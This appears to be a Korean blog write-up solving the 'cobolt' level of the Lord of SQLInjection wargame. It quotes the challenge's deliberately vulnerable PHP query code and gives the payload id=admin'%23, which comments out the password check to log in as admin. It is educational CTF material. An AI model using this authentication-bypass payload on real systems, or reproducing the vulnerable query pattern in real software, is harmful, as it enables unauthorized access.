blacksalamander
cobolt 본문
Source Code
Analysis
Source Code를 보았을 때 저번 문제인 gremlin과 매우 유사하게 보인다.
Source Code에 대해 자세한 설명은 하지 않고 문제를 해결하기 위해 중요한 부분만 다루도록 한다.
Source Code에 대한 자세한 설명은 아래 링크로 이동하길 바란다.
<?php
...
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
...
if($result['id'] == 'admin') solve("cobolt");
...
?>
id와 pw를 GET 방식으로 입력하며 정규신 패턴은 prob, _, ., (, )이며 대소문자 구분이 없다.
query 문을 해석하면, prob_cobolt 테이블에서 id가 GET 방식으로 입력한 id이고 pw가 GET 방식으로 방식으로 입력한 pw의 해시값일 때 id를 출력하라 라고 볼 수 있다.
결정적으로, id가 admin이어야 한다.
md5() 함수는 문자열의 MD5 해시를 계산하는 함수이며 자세한 설명은 아래 링크로 이동하길 바란다.
Injection
query 문의 where 절을 id가 admin일 때로 만들어주면 문자열이 admin인 id를 출력할 것으로 예상된다.
https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin'%23
URL에 ?id=admin'%23 을 입력한다.
query = "select id from prob_cobolt where id='admin'#' and pw=md5('')"
# 뒤로는 모두 주석이 되므로
id가 admin일 때 prob_cobolt 테이블로부터 문자열이 admin인 id를 출력하게 된다.
'Lord of SQLInjection' 카테고리의 다른 글
goblin (0) | 2020.02.22 |
---|---|
gremlin (0) | 2020.02.15 |